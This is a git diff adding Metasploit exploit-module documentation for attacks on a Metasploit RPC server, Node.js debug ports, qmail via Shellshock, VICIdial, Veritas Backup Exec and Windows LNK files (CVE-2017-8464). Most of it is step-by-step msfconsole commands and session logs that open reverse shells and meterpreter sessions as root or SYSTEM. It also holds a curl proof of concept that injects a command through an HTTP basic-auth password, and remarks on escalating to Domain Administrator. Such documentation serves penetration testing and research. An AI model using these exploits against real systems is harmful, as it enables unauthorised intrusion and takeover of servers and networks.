+  This module connects to a specified Metasploit RPC server and uses the *console.write* procedure to execute operating system commands. Valid credentials are required to access the RPC interface.
+
+
+## Vulnerable Application
+
+  [Metasploit](https://www.rapid7.com/products/metasploit/) is the world's most used penetration testing software. The RPC API can be used to programmatically drive the Metasploit Framework and Metasploit Pro products.
+
+  To start the RPC service, run `msfrpcd -U msf -P abc123`; or run `load msgrpc ServerHost=0.0.0.0 ServerPort=55552 User=msf Pass=abc123 SSL=Y` from within msfconsole.
+
+  This module has been tested successfully on:
+
+  * Metasploit 4.15 on Kali 1.0.6
+  * Metasploit 4.14 on Kali 2017.1
+  * Metasploit 4.14 on Windows 7 SP1
+
+  Source and Installers:
+
+  * [Source Code Repository](https://github.com/rapid7/metasploit-framework)
+  * [Installers](https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version)
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Do: `use exploit/multi/misc/msf_rpc_console`
+  3. Do: `set RHOST [IP]`
+  4. Do: `set RPORT [PORT]` (default: `55552`)
+  5. Do: `set USERNAME [USERNAME]` (default: `msf`)
+  6. Do: `set PASSWORD [PASSWORD]`
+  7. Do: `set LHOST [IP]`
+  8. Do: `run`
+  9. You should get a session
+
+
+## Options
+
+  **Username**
+
+  The username for Metasploit RPC (default: `msf`).
+
+  **Password**
+
+  The password for the RPC user.
+
+
+## Scenarios
+
+### Ruby Target
+
+  ```
+  msf > use exploit/multi/misc/msf_rpc_console 
+  msf exploit(msf_rpc_console) > set rhost 172.16.191.166
+  rhost => 172.16.191.166
+  msf exploit(msf_rpc_console) > set username msf
+  username => msf
+  msf exploit(msf_rpc_console) > set password abc123
+  password => abc123
+  msf exploit(msf_rpc_console) > set lhost 172.16.191.181
+  lhost => 172.16.191.181
+  msf exploit(msf_rpc_console) > set target 0
+  target => 0
+  msf exploit(msf_rpc_console) > run
+
+  [*] Started reverse TCP handler on 172.16.191.181:4444 
+  [+] 172.16.191.166:55552 - Authenticated successfully
+  [*] 172.16.191.166:55552 - Metasploit 4.14.28-dev
+  [*] 172.16.191.166:55552 - Ruby 2.3.3 x64-mingw32 2016-11-21
+  [*] 172.16.191.166:55552 - API version 1.0
+  [+] 172.16.191.166:55552 - Created console #0
+  [*] 172.16.191.166:55552 - Sending payload...
+  [*] Command shell session 1 opened (172.16.191.181:4444 -> 172.16.191.166:52984) at 2017-07-05 03:40:50 -0400
+
+  whoami
+  win-sgbsd5tqutq\user
+  ```
+
+### Windows CMD Target
+
+  ```
+  msf > use exploit/multi/misc/msf_rpc_console 
+  msf exploit(msf_rpc_console) > set rhost 172.16.191.166
+  rhost => 172.16.191.166
+  msf exploit(msf_rpc_console) > set username msf
+  username => msf
+  msf exploit(msf_rpc_console) > set password abc123
+  password => abc123
+  msf exploit(msf_rpc_console) > set lhost 172.16.191.181
+  lhost => 172.16.191.181
+  msf exploit(msf_rpc_console) > set target 0
+  target => 1
+  msf exploit(msf_rpc_console) > set payload cmd/windows/powershell_reverse_tcp 
+  payload => cmd/windows/powershell_reverse_tcp
+  msf exploit(msf_rpc_console) > run
+
+  [*] Started reverse SSL handler on 172.16.191.181:4444 
+  [+] 172.16.191.166:55552 - Authenticated successfully
+  [*] 172.16.191.166:55552 - Metasploit 4.14.28-dev
+  [*] 172.16.191.166:55552 - Ruby 2.3.3 x64-mingw32 2016-11-21
+  [*] 172.16.191.166:55552 - API version 1.0
+  [+] 172.16.191.166:55552 - Created console #1
+  [*] 172.16.191.166:55552 - Sending payload...
+  [*] Powershell session session 2 opened (172.16.191.181:4444 -> 172.16.191.166:52996) at 2017-07-05 03:44:05 -0400
+
+  Windows PowerShell running as user user on WIN-SGBSD5TQUTQ
+  Copyright (C) 2015 Microsoft Corporation. All rights reserved.
+
+  PS C:\metasploit>whoami
+  win-sgbsd5tqutq\user
+  ```
+
+### Unix CMD Target
+
+  ```
+  msf > use exploit/multi/misc/msf_rpc_console 
+  msf exploit(msf_rpc_console) > set rhost 172.16.191.215
+  rhost => 172.16.191.215
+  msf exploit(msf_rpc_console) > set username msf
+  username => msf
+  msf exploit(msf_rpc_console) > set password abc123
+  password => abc123
+  msf exploit(msf_rpc_console) > set lhost 172.16.191.181
+  lhost => 172.16.191.181
+  msf exploit(msf_rpc_console) > set target 2
+  target => 2
+  msf exploit(msf_rpc_console) > set payload cmd/unix/reverse_python
+  payload => cmd/unix/reverse_python
+  msf exploit(msf_rpc_console) > run
+
+  [*] Started reverse TCP handler on 172.16.191.181:4444 
+  [+] 172.16.191.215:55552 - Authenticated successfully
+  [*] 172.16.191.215:55552 - Metasploit 4.15.0-dev-aceeedc
+  [*] 172.16.191.215:55552 - Ruby 2.3.0 x86_64-linux 2015-12-25
+  [*] 172.16.191.215:55552 - API version 1.0
+  [+] 172.16.191.215:55552 - Created console #0
+  [*] 172.16.191.215:55552 - Sending payload...
+  [*] Command shell session 3 opened (172.16.191.181:4444 -> 172.16.191.215:40768) at 2017-07-05 03:46:11 -0400
+
+  id
+  uid=0(root) gid=0(root) groups=0(root)
+  ```
+
diff --git a/documentation/modules/exploit/multi/misc/nodejs_v8_debugger.md b/documentation/modules/exploit/multi/misc/nodejs_v8_debugger.md
new file mode 100644
index 0000000000..1d699fd6b9
--- /dev/null
+++ b/documentation/modules/exploit/multi/misc/nodejs_v8_debugger.md
@@ -0,0 +1,64 @@
+## Vulnerable Application
+
+Current and historical versions of node (or any JS env based on the 
+V8 JS engine) have this functionality and could be exploitable if
+configured to expose the JS port on an untrusted interface.
+
+Install a version of node using any of the normal methods: 
+* Vendor: https://nodejs.org/en/download/package-manager/
+* Distro: `sudo apt-get install nodejs` 
+
+Alternately, use standard node docker containers as targets:
+```
+$ docker run -it --rm -p 5858:5858 node:4-wheezy node --debug=0.0.0.0:5858
+```
+(Others at https://hub.docker.com/_/node/)
+
+Tested on Node 7.x, 6.x, 4.x
+
+## Verification Steps
+
+1. Run a node process exposing the debug port
+```
+node --debug=0.0.0.0:5858 
+```
+
+2. Exploit it and catch the callback:
+
+```
+msfconsole -x "use exploit/multi/misc/nodejs_v8_debugger; set RHOST 127.0.0.1; set PAYLOAD nodejs/shell_reverse_tcp; set LHOST 127.0.0.1; handler -H 0.0.0.0 -P 4444 -p nodejs/shell_reverse_tcp; exploit
+```
+(If using docker hosts as targets for testing, ensure that LHOST addr is accessible to the container)
+
+Note that in older Node versions (notably 4.8.4), the debugger will not immediately process the incoming eval message. As soon as there is some kind of activity 
+(such as a step or continue in the debugger, or just hitting enter), the payload will execute and the handler session will start.
+
+
+## Scenarios
+
+### Example Run (Node 7.x)
+
+Victim:
+```
+$ node --version
+v7.10.0
+$ node --debug=0.0.0.0:5858
+(node:83089) DeprecationWarning: node --debug is deprecated. Please use node --inspect instead.
+Debugger listening on 0.0.0.0:5858
+>
+(To exit, press ^C again or type .exit)
+```
+
+Attacker:
+```
+msf exploit(nodejs_v8_debugger) > exploit
+
+[*] Started reverse TCP handler on 10.0.0.141:4444
+[*] 127.0.0.1:5858 - Sending 745 byte payload...
+[*] 127.0.0.1:5858 - Got success response
+[*] Command shell session 4 opened (10.0.0.141:4444 -> 10.0.0.141:53168) at 2017-09-04 00:37:17 -0700
+
+id
+(redacted)
+``` 
+
diff --git a/documentation/modules/exploit/unix/smtp/qmail_bash_env_exec.md b/documentation/modules/exploit/unix/smtp/qmail_bash_env_exec.md
new file mode 100644
index 0000000000..167ef65cdd
--- /dev/null
+++ b/documentation/modules/exploit/unix/smtp/qmail_bash_env_exec.md
@@ -0,0 +1,82 @@
+## Vulnerable Application
+
+Any qmail version (works on latest versions, qmail-1.03 and netqmail-1.06) running on a system with a vulnerable BASH (Shellshock). In order to execute code, /bin/sh has to be linked to bash (usually default configuration) and a valid recipient must be set on the RCPT TO field (usually admin@exampledomain.com). The exploit does not work on the "qmailrocks" community version as it ensures the MAILFROM field is well-formed.
+
+## Setting up a vulnerable environment
+
+Install Qmail on a Linux server with a shellshock vulnerable bash. Ensure that /bin/sh is linked to bash. Create an e-mail account on that qmail server. IMPORTANT: there is a community version of qmail, "qmailrocks" (http://qmailrocks.thibs.com/) which apply a patch that checks the vulnerable MAILFROM parameter. This version (with the patch applied) is NOT vulnerable. If you are using this version, change the "int mfcheck()" function on qmail-smtpd.c and ensure it returns always 0 (after applying the patch) and re-compile qmail-smtpd.
+
+## Verification Steps
+
+  1. `use exploit/unix/smtp/qmail_bash_env_exec`
+  2. `set RHOST <target IP>`
+  3. `set MAILTO <valid e-mail recipient>`
+  4. `set payload cmd/unix/reverse`
+  5. `set LHOST <local IP>`
+  7. optionally set `RPORT` and `LPORT`
+  8. `exploit`
+  9. **Verify** a new shell session is started
+  
+## Options
+
+**MAILTO**
+
+A valid e-mail recipient. Usually, admin@targetdomain.com can be used.
+
+## Sample Output
+**Tested on qmail-1.03 on Debian 6.0.6 (squeeze). BASH version 4.1.5(1).**
+
+```
+msf > use exploit/unix/smtp/qmail_bash_env_exec 
+msf exploit(qmail_bash_env_exec) > set rhost 192.168.1.113
+rhost => 192.168.1.113
+msf exploit(qmail_bash_env_exec) > set mailto "admin@testqmail2.test"
+mailto => admin@testqmail2.test
+msf exploit(qmail_bash_env_exec) > set payload cmd/unix/reverse
+payload => cmd/unix/reverse
+msf exploit(qmail_bash_env_exec) > show options 
+
+Module options (exploit/unix/smtp/qmail_bash_env_exec):
+
+   Name    Current Setting        Required  Description
+   ----    ---------------        --------  -----------
+   MAILTO  admin@testqmail2.test  yes       TO address of the e-mail
+   RHOST   192.168.1.113          yes       The target address
+   RPORT   25                     yes       The target port (TCP)
+
+
+Payload options (cmd/unix/reverse):
+
+   Name   Current Setting  Required  Description
+   ----   ---------------  --------  -----------
+   LHOST  192.168.1.102    yes       The listen address
+   LPORT  4444             yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Automatic
+
+
+msf exploit(qmail_bash_env_exec) > run
+
+[*] Started reverse TCP double handler on 192.168.1.102:4444 
+[*] 192.168.1.113:25 - Sending the payload...
+[*] 192.168.1.113:25 - Sending RCPT TO admin@testqmail2.test
+[*] Accepted the first client connection...
+[*] Accepted the second client connection...
+[*] Command: echo RvZfov9i2ZuveLXA;
+[*] Writing to socket A
+[*] Writing to socket B
+[*] Reading from sockets...
+[*] Reading from socket B
+[*] B: "RvZfov9i2ZuveLXA\r\n"
+[*] Matching...
+[*] A is input...
+[*] Command shell session 19 opened (192.168.1.102:4444 -> 192.168.1.113:48167) at 2017-05-04 15:11:02 +0200
+
+whoami
+vpopmail
+```
diff --git a/documentation/modules/exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.md b/documentation/modules/exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.md
new file mode 100644
index 0000000000..708867cde1
--- /dev/null
+++ b/documentation/modules/exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.md
@@ -0,0 +1,133 @@
+## Description
+
+  This module exploits a vulnerability in VICIdial versions 2.9 RC1 to 2.13 RC1 which allows unauthenticated users to execute arbitrary operating system commands as the web server user if password encryption is enabled (disabled by default).
+
+  When password encryption is enabled the user's password supplied using HTTP basic authentication is used in a call to `exec()`.
+
+  This module has been tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS.
+
+
+## Vulnerable Application
+
+  VICIDIAL is a software suite that is designed to interact with the Asterisk Open-Source PBX Phone system to act as a complete inbound/outbound contact center suite with inbound email support as well. 
+
+  This module has been tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS.
+
+  Installers:
+
+  * [VICIdial 2.11 RC1](https://sourceforge.net/projects/astguiclient/files/astguiclient_2.11rc1.zip/download)
+  * [VICIdial 2.13 RC1](https://sourceforge.net/projects/astguiclient/files/astguiclient_2.13rc1.zip/download)
+
+  Follow the [instructions to enabled password encryption](http://vicidial.org/docs/ENCRYPTED_PASSWORDS.txt).
+
+
+## Technical Details
+
+  The `functions.php` file defines a function called `user_authorization`:
+
+  ```php
+  function user_authorization($user,$pass,$user_option,$user_update)
+  ```
+ 
+  This function is used throughout the application to validate user logon credentials supplied using HTTP basic authentication. If password encryption is enabled the user's password is passed to the `pass` argument of the `bp.pl` Perl script, without quotes, using PHP's `exec()` function:
+
+  ```php
+  if ($SSpass_hash_enabled > 0)
+          {
+          if (file_exists("../agc/bp.pl"))
+                  {$pass_hash = exec("../agc/bp.pl --pass=$pass");}
+          else
+                  {$pass_hash = exec("../../agc/bp.pl --pass=$pass");}
+  ```
+
+  A rudimentary blacklist is used to prevent command injection. The apostrophe `'`, quote `"`, semi-colon `;` and backslash `\` characters are removed from the user's username and password using `preg_replace`, like so:
+
+  ```php
+  $user = preg_replace("/\'|\"|\\\\|;/","",$user);
+  $pass = preg_replace("/\'|\"|\\\\|;/","",$pass);
+  ```
+
+  It is trivial to bypass the blacklist.
+
+  For example, backticks ``` ` ```, pipe `|` or ampersand `&` are sufficient to bypass the blacklist and execute arbitrary operating system commands.
+
+  For the purposes of exploitation, reaching the `user_authorization` function call with malicious input is hindered by additional input validation in use prior to the authentication check throughout the majority of the codebase:
+
+  ```php
+  $PHP_AUTH_USER = preg_replace('/[^-_0-9a-zA-Z]/', '', $PHP_AUTH_USER);
+  $PHP_AUTH_PW = preg_replace('/[^-_0-9a-zA-Z]/', '', $PHP_AUTH_PW);
+  ```
+
+  However, in VICIdial version 2.11RC2, at least two files did not make use of the additional validation:
+
+  * help.php
+  * vicidial_sales_viewer.php
+
+  In VICIdial version 2.13RC1, at least one file did not make use of the additional validation:
+
+  * vicidial_sales_viewer.php
+
+  This vulnerability was patched in revision 2759.
+
+
+## Proof of Concept
+
+  ```bash
+  $ curl -isk "https://VICIdial.local/vicidial/vicidial_sales_viewer.php" \
+  --user 'anyusername:anypassword& id>/tmp/pwned_by_sales_viewer #'
+  ```
+
+  ```bash
+  $ curl -isk "https://VICIdial.local/vicidial/help.php" \
+  --user 'anyusername:anypassword& id>/tmp/pwned_by_help #'
+  ```
+
+  Note that `/tmp/pwned_by_help` and `/tmp/pwned_by_sales_viewer` files should contain the results of the `id` command.
+
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Do: `use exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec`
+  3. Do: `set rhost [IP]`
+  4. Do: `run`
+  5. You should get a session
+
+
+## Sample Output
+
+  ```
+  msf exploit(vicidial_user_authorization_unauth_cmd_exec) > check
+  [*] 172.16.191.150:80 The target appears to be vulnerable.
+  msf exploit(vicidial_user_authorization_unauth_cmd_exec) > run
+
+  [*] Started reverse TCP handler on 172.16.191.181:4444 
+  [*] 172.16.191.150:80 Sending payload (505 bytes)
+  [+] 172.16.191.150:80 Payload sent successfully
+  [*] Command shell session 1 opened (172.16.191.181:4444 -> 172.16.191.150:36660) at 2017-05-27 01:00:41 -0400
+
+  id
+  uid=48(apache) gid=48(apache) groups=48(apache)
+  ```
+
+
+## Sample Output (Verbose)
+
+  ```
+  msf exploit(vicidial_user_authorization_unauth_cmd_exec) > set verbose true
+  verbose => true
+  msf exploit(vicidial_user_authorization_unauth_cmd_exec) > check
+
+  [*] 172.16.191.150:80 Password encryption is supported, but may not be enabled.
+  [*] 172.16.191.150:80 The target appears to be vulnerable.
+  msf exploit(vicidial_user_authorization_unauth_cmd_exec) > run
+
+  [*] Started reverse TCP handler on 172.16.191.181:4444 
+  [*] 172.16.191.150:80 Sending payload (505 bytes)
+  [+] 172.16.191.150:80 Payload sent successfully
+  [*] Command shell session 2 opened (172.16.191.181:4444 -> 172.16.191.150:36661) at 2017-05-27 01:00:48 -0400
+
+  id
+  uid=48(apache) gid=48(apache) groups=48(apache)
+  ```
+
diff --git a/documentation/modules/exploit/windows/backupexec/ssl_uaf.md b/documentation/modules/exploit/windows/backupexec/ssl_uaf.md
new file mode 100644
index 0000000000..37b72d9964
--- /dev/null
+++ b/documentation/modules/exploit/windows/backupexec/ssl_uaf.md
@@ -0,0 +1,201 @@
+## Vulnerability Summary
+
+The Backup Exec Remote Agent for Windows is vulnerable to a use-after-free in
+its handling of SSL/TLS-wrapped NDMP connections. If SSL/TLS is established on a
+NDMP connection, ended, and finally re-established, the agent will re-use
+previously freed SSL/TLS structures. This allows for remote code execution over
+an unauthenticated network connection.
+
+
+## Vulnerable Application
+
+Backup Exec consists of a server component as well as remote agents that are
+installed on each host that should be backed up by the server.
+
+There are remote agents available for a range of data sources, including
+operating-system level agents for Windows and Linux hosts' local filesystems,
+application-specific agents for Microsoft Exchange, SharePoint, Active
+Directory, etc., and agents for virtual machines such as VMware or Hyper-V
+instances. This exploit targets the Windows OS-level remote agents, which are
+the most common type in a typical Backup Exec deployment on a Windows-based
+network. The agents are installed as services running by default as the
+`NT AUTHORITY\SYSTEM` user.
+
+A trial version of Backup Exec can be downloaded from Veritas' website;
+currently the download is available
+[here](https://www.veritas.com/trial/en/us/backup-exec-16.html).
+
+
+## Vulnerability Description
+
+The agent accepts NDMP connections on TCP port 10000. The vendor-specific
+`0xF383` NDMP packet type allows for NDMP connections to be wrapped in a SSL/TLS
+session. Sub-type `4` initiates the SSL/TLS handshake; after successfully
+completing this the client and server continue the NDMP session through the
+SSL/TLS session.
+
+The agent makes use of OpenSSL to handle these SSL/TLS sessions. When a SSL/TLS
+session is created, the agent creates necessary OpenSSL structures, including a
+`struct BIO` from the connection's associated network socket using
+`BIO_new_socket`. Upon the end of the SSL/TLS session, this structure is freed
+by a call to `BIO_free` through a call to `SSL_free`.
+
+However, if a SSL/TLS connection is then re-established on the same NDMP
+connection, the previously freed `BIO` is re-used in the new SSL/TLS session
+even though it is no longer allocated. The `BIO` is stored during the first
+connection setup and then retrieved during second connection setup as a member
+of the `CSecuritySSLConnection` class, despite the call to `SSL_free` previously
+freeing it. This leads to a use-after-free as the `BIO` contains a pointer to a
+structure (`BIO_METHOD *method`) of function pointers that are used to perform
+operations such as reading and writing from the wrapped `BIO` object (in this
+case, the network socket).
+
+By overwriting the previously allocated `BIO` with controlled data, it is
+possible to gain remote code execution when OpenSSL attempts to call one of
+these function pointers.
+
+
+## Verification Steps
+
+1. Install the Backup Exec server on a host.
+2. Install the Backup Exec Remote Agent for Windows on another host, either
+   manually or through the server's remote agent installation feature. Note that
+   in this contrived test situation you should be sure to let the agent run for
+   a few minutes before continuing so it can finish initial startup work that
+   otherwise interferes with the exploit's heap manipulation.
+3. Start `msfconsole`.
+4. Select the module and configure it with, at minimum, the address of the host
+   running the remote agent:
+   ```
+   use exploit/windows/backupexec/ssl_uaf
+   set RHOST [REMOTE AGENT HOST]
+   ```
+5. Check the service is running and potentially vulnerable with the `check`
+   command.
+6. Select a target version using `set target [TARGET]`.
+7. Select a payload and its options; for example:
+   ```
+   set payload windows/x64/meterpreter/reverse_tcp
+   set LHOST [METASPLOIT HOST]
+   ```
+8. Start the exploit using the `exploit` command.
+9. Hopefully get a `NT AUTHORITY\SYSTEM` shell :)
+
+An example session is as follows:
+
+```
+msf > use exploit/windows/backupexec/ssl_uaf
+msf exploit(ssl_uaf) > set RHOST win10
+RHOST => win10
+msf exploit(ssl_uaf) > check
+
+Hostname: WIN10
+OS type: Windows NT
+OS version: Major Version=10 Minor Version=0 Build Number=14393 ServicePack Major=0 ServicePack Minor=0 SuiteMask=256 ProductType=1 ProcessorType=AMD64
+Host ID: XXXX::XXXX:XXXX:XXXX:XXXX
+Vendor: VERITAS Software, Corp.
+Product: Remote Agent for NT
+Revision: 9.2
+[*] win10:10000 The target appears to be vulnerable.
+msf exploit(ssl_uaf) > show targets
+
+Exploit targets:
+
+   Id  Name
+   --  ----
+   0   Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64
+   1   Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86
+   2   Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64
+   3   Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86
+   4   Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64
+   5   Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86
+   6   Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64
+   7   Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86
+   8   Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64
+   9   Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86
+   10  Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64
+   11  Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86
+
+
+msf exploit(ssl_uaf) > set target 4
+target => 4
+msf exploit(ssl_uaf) > set payload windows/x64/meterpreter/reverse_tcp
+payload => windows/x64/meterpreter/reverse_tcp
+msf exploit(ssl_uaf) > set LHOST 10.123.1.1
+LHOST => 10.123.1.1
+msf exploit(ssl_uaf) > exploit
+
+[*] Started reverse TCP handler on 10.123.1.1:4444
+[*] win10:10000 - Connecting sockets...
+[*] win10:10000 - CA certificate ID = 8120a0e9
+[*] win10:10000 - Getting and handling a certificate signing request...
+[*] win10:10000 - Agent certificate ID = 430b56d0
+[*] win10:10000 - Testing certificate...
+[*] win10:10000 - Spraying TLS extensions...
+[*] win10:10000 - Entering SSL mode on main socket...
+[*] win10:10000 - Spraying TLS extensions...
+[*] win10:10000 - Sending stages 2 to 4...
+[*] win10:10000 - Closing TLS spray sockets...
+[*] win10:10000 - Re-entering SSL mode on main socket...
+[*] win10:10000 - Spraying stage 1...
+[*] win10:10000 - Triggering UAF, attempt 1/50...
+[*] Sending stage (1189423 bytes) to 10.123.1.2
+[*] win10:10000 - Spraying stage 1...
+[*] win10:10000 - Triggering UAF, attempt 2/50...
+[*] Meterpreter session 1 opened (10.123.1.1:4444 -> 10.123.1.2:49748) at 2017-05-23 21:53:07 +1200
+
+meterpreter > getuid
+Server username: NT AUTHORITY\SYSTEM
+```
+
+
+## Options
+
+Apart from the usual exploit module options such as `RHOST`, the module has a
+few exploit-specific options. These should not normally need to be set or
+changed from their default values in most situations as the exploit will pick
+suitable values for them depending on the target selected.
+
+**NumSpraySockets**
+The number of sockets connected to the remote agent in order to spray stage 1 of
+the exploit, which should overwrite the freed `BIO`.
+
+**NumTLSSpraySockets**
+The number of sockets connected to the remote agent in order to spray TLS
+extensions. This is used to massage the low fragmentation heap in order to
+increase chances of stage 1 successfully overwriting the freed `BIO`.
+
+**NumTriggerAttempts**
+The number of attempts made to trigger the use-after-free for Windows 8+
+targets, where it is possible to retry calling the overwritten function pointer
+multiple times.
+
+
+## Scenarios
+
+The Backup Exec Remote Agent for Windows is installed on each host that has
+local filesystems that should be backed up. These agents listen on the network
+for NDMP connections (on port 10000), appearing in Nmap scans with scripts
+enabled as follows:
+
+```
+Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-23 20:47 NZST
+Nmap scan report for (...)
+Host is up (0.0035s latency).
+Not shown: 994 filtered ports
+PORT      STATE SERVICE            VERSION
+(...)
+10000/tcp open  ndmp               Symantec/Veritas Backup Exec ndmp (NDMPv3)
+|_ndmp-version: ERROR: Script execution failed (use -d to debug)
+```
+
+(Note that the `ndmp-version` script fails to execute due to not sending an
+`NDMP_CONNECT_OPEN` request before querying version information with the
+`NDMP_CONFIG_GET_HOST_INFO` request. This exploit module's `check` command will
+carry this query out successfully.)
+
+While the exploit is not guaranteed to gain RCE (see the module's description),
+in practise the agent is often widely installed in a Windows domain across a
+range of hosts (including fileservers and domain controllers). This means
+usually at least one instance of the agent will give a shell on a server where
+it's easy enough to further escalate to Domain Administator from `SYSTEM`.
diff --git a/documentation/modules/exploit/windows/browser/firefox_smil_uaf.md b/documentation/modules/exploit/windows/browser/firefox_smil_uaf.md
index f6e7c223b9..106d1f24a5 100644
--- a/documentation/modules/exploit/windows/browser/firefox_smil_uaf.md
+++ b/documentation/modules/exploit/windows/browser/firefox_smil_uaf.md
@@ -17,7 +17,7 @@ The module includes an option named UsePostHTML which is turned off by default.
 
 1. Start msfconsole
 2. Do: ```use exploit/windows/browser/firefox_smil_uaf```
-3. Do: ```set payload [PREFERRED PAYLOAD]
+3. Do: ```set payload [PREFERRED PAYLOAD]```
 4. Do: ```set PAYLOAD [PAYLOAD NAME]```
 5. Set payload options as needed
 6. Do: ```run```, and have a target browse to the generated URL
diff --git a/documentation/modules/exploit/windows/fileformat/cve_2017_8464_lnk_rce.md b/documentation/modules/exploit/windows/fileformat/cve_2017_8464_lnk_rce.md
new file mode 100644
index 0000000000..f3866db5b4
--- /dev/null
+++ b/documentation/modules/exploit/windows/fileformat/cve_2017_8464_lnk_rce.md
@@ -0,0 +1,109 @@
+## Vulnerable Application
+
+This vulnerability affects any Windows version without the patch for
+CVE-2017-8464. The exploit does not appear to work with UNC drives. Because of
+this, the exploit DLL file needs to be on a local file system or an USB drive.
+A fix was released in the June 2017 Patch Tuesday.
+
+## Vulnerable Setup
+
+To set up the vulnerable environment, install a Windows version without the patch for CVE-2017-8464. To test the bypass, ensure that MS10-046 & MS15-020 are installed.
+
+## Verification Steps
+
+### Start a handler
+  1. `use exploit/multi/handler`
+  2. `set PAYLOAD windows/x64/meterpreter/reverse_tcp`
+  3. `set LHOST [ip victim connects back to]`
+  4. `exploit -j`
+  5. `back`
+
+### Run the exploit
+
+  1. `use exploit/windows/fileformat/cve_2017_8464_lnk_rce`
+  2. `set PAYLOAD windows/x64/meterpreter/reverse_tcp`
+  3. `set LHOST [ip victim connects back to]`
+  4. `exploit`
+
+### Copy files to USB drive & open on vulnerable system
+
+  1. `cp /root/.msf4/local/* [USB drive path]`
+  2. Insert device in target machine and browse to it
+
+## Options
+
+**FILENAME**
+
+The file name of the LNK file. This file name can be renamed later. If the value is not set, a random name will be generated.
+
+**DLLNAME**
+
+The file name of the DLL file. This file cannot be renamed, as this will invalidate the LNK file(s). If not set, a random name will be generated.
+
+**DRIVE**
+
+Drive letter assigned to USB drive on victim's machine. If not set, LNK files for drive D till Z will be created. Copy all these LNK files to the USB drive to increase the chance that the vulnerability will be triggered.
+
+### Windows 10 x64 (Build 14393)
+
+```
+msf > use exploit/multi/handler
+msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
+PAYLOAD => windows/x64/meterpreter/reverse_tcp
+msf exploit(handler) > set LHOST 192.168.146.197
+LHOST => 192.168.146.197
+msf exploit(handler) > exploit -j
+[*] Exploit running as background job.
+
+[*] Started reverse TCP handler on 192.168.146.197:4444
+[*] Starting the payload handler...
+msf exploit(handler) > back
+msf > use exploit/windows/fileformat/cve_2017_8464_lnk_rce
+msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
+PAYLOAD => windows/x64/meterpreter/reverse_tcp
+msf exploit(cve_2017_8464_lnk_rce) > set LHOST 192.168.146.197
+LHOST => 192.168.146.197
+msf exploit(cve_2017_8464_lnk_rce) > exploit
+
+msf exploit(cve_2017_8464_lnk_rce) > exploit
+
+[*] /root/.msf4/local/kNgYlztVprHPOmHY.dll created, copy it to the root folder of the target USB drive
+[*] /root/.msf4/local/SoXXZhgCWEDkbDyA_D.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/rfuSAlSFEPmrgsBh_E.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/LydLhRBovVRINgUh_F.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/xbpnlkcQOYonGpKW_G.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/SezkrIUwqIVvMiOZ_H.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/UzsJRIdcpoZPpLEj_I.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/BxTkakFYhUaxSNyi_J.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/dPdanTusElQRKzGZ_K.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/cKUaDslpjLshMEpP_L.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/RQPOxJeuGqVCQGNB_M.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/tLDnpaeIeUavIxqP_N.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/VVQOvhpqJYbhINIX_O.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/dAIEBrbaixsXjnnm_P.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/AoHnIQhKkpnYSOZR_Q.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/kZCCppTXKsuGRSCB_R.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/vMBPqzoOEoJXhZqQ_S.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/ueCsaNzVsljfHKnS_T.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/TSCgPoYrFFnZqMsl_U.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/QFbXkQeBmCvXezNg_V.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/liPaOopqYJbBIrVY_W.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/eZiWpyEYbkWHqStW_X.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/PawzVPKmvBoSblhA_Y.lnk created, copy to the target USB drive
+[*] /root/.msf4/local/vJhDzJUydwYxnLlp_Z.lnk created, copy to the target USB drive
+msf exploit(cve_2017_8464_lnk_rce) >
+[*] Sending stage (1189423 bytes) to 192.168.146.193
+[*] Meterpreter session 1 opened (192.168.146.197:4444 -> 192.168.146.193:50020) at 2017-07-25 19:28:27 +0200
+sessions -i 1
+[*] Starting interaction with 1...
+
+meterpreter > sysinfo
+Computer        : DESKTOP-5G8HK7E
+OS              : Windows 10 (Build 14393).
+Architecture    : x64
+System Language : en_US
+Domain          : WORKGROUP
+Logged On Users : 2
+Meterpreter     : x64/windows
+meterpreter >
+```
diff --git a/documentation/modules/exploit/windows/http/disk_pulse_enterprise_get.md b/documentation/modules/exploit/windows/http/disk_pulse_enterprise_get.md
new file mode 100644
index 0000000000..13db863e7d
